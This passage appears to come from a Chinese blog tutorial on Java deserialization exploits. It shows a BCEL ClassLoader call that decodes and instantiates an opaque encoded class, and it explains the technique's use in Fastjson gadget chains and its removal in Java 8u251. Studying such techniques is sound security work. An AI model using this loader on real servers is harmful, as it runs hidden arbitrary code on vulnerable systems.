        new ClassLoader().loadClass("$$BCEL$$"+"$l$8b$I$A$A$A$A$A$A$Am$91$c9N$c3$40$M$86$ffi$d3$s$N$v$a5$85$b2$efk$cb$81$k8$82$b8$m$90$Qa$REp$9e$O$a32$d0$sU$3aE$bc$Rg$$$808$f0$A$3c$U$c23$ac$SD$8a$j$fb$b7$3f$db$ca$eb$db$f3$L$80u$y$fb$f00$e2c$Uc$k$c6$8d$9fp1$e9$p$83$v$X$d3$$f$Y$b2$9b$wRz$8b$n$5d$a9$9e18$db$f1$85d$u$84$w$92$87$bdvC$s$a7$bc$d1$a2L$v$8c$Fo$9d$f1D$99$f83$e9$e8K$d5$rFH$92$d8$60$f06E$eb$T$c7H$$$87W$fc$86$d7T$5c$db$3b$da$b9$V$b2$a3U$iQY$be$ae$b9$b8$3e$e0$j$8b$a1$8d$Y$fcz$dcK$84$dcU$G$9b3$b85$d3$h$m$H$df$c5l$809$cc$T$df$K$f2V$GX$c0$o$c3$e0$3f$fc$AK$f0i5S$ca0$60$xZ$3cj$d6$8e$gWRh$86$e2O$ea$a4$Xi$d5$a6$89$7eS$ea$ef$a0$5c$a9$86$7fjhm$87$G$Tr$a5$f2K$ad$ebDE$cd$8d$df$N$c7I$yd$b7K$N$85$O$89$da$k$7b$9ap$n$e9$I$97$7e$88yR$60$e64$b2$7d$U$d5$c83$f2$99$d5G$b0$7b$x$Hd$b36$99F$9el$f0Q$80$7e$U$c8$7b$Y$f8n$e6$W$G$94$9e$90$w$a5$l$e0$9c$df$c1$db_$7d$40$f6$de$e6s$d4$9b$n$8a$n$O$d3$97$e1$e6l$d6$r$b2$87$o$91$be$s$e4$e1P$5c$a2h$90$5e$X$a9$d0$c5$90CB$d9$$5$fc$Ou$c9$b8$c4Z$C$A$A").newInstance();
    }
}

BCEL ClassLoader类和前面的TemplatesImpl 都出自于同一个第三方库,Apache Xalan,在Fastjson等漏洞的利用链构造时都有被用到;还有一个重要的利用条件就是在Java 8u251的更新中,这个ClassLoader被移除了,所以之后只能在这个之前的版本才可以利用。

相关推荐
秃头佛爷28 分钟前
Python学习大纲总结及注意事项
开发语言·python·学习
阿伟*rui29 分钟前
配置管理,雪崩问题分析,sentinel的使用
java·spring boot·sentinel
XiaoLeisj2 小时前
【JavaEE初阶 — 多线程】单例模式 & 指令重排序问题
java·开发语言·java-ee
paopaokaka_luck2 小时前
【360】基于springboot的志愿服务管理系统
java·spring boot·后端·spring·毕业设计
Yaml44 小时前
Spring Boot 与 Vue 共筑二手书籍交易卓越平台
java·spring boot·后端·mysql·spring·vue·二手书籍
小小小妮子~4 小时前
Spring Boot详解:从入门到精通
java·spring boot·后端
hong1616884 小时前
Spring Boot中实现多数据源连接和切换的方案
java·spring boot·后端
aloha_7895 小时前
从零记录搭建一个干净的mybatis环境
java·笔记·spring·spring cloud·maven·mybatis·springboot
记录成长java5 小时前
ServletContext,Cookie,HttpSession的使用
java·开发语言·servlet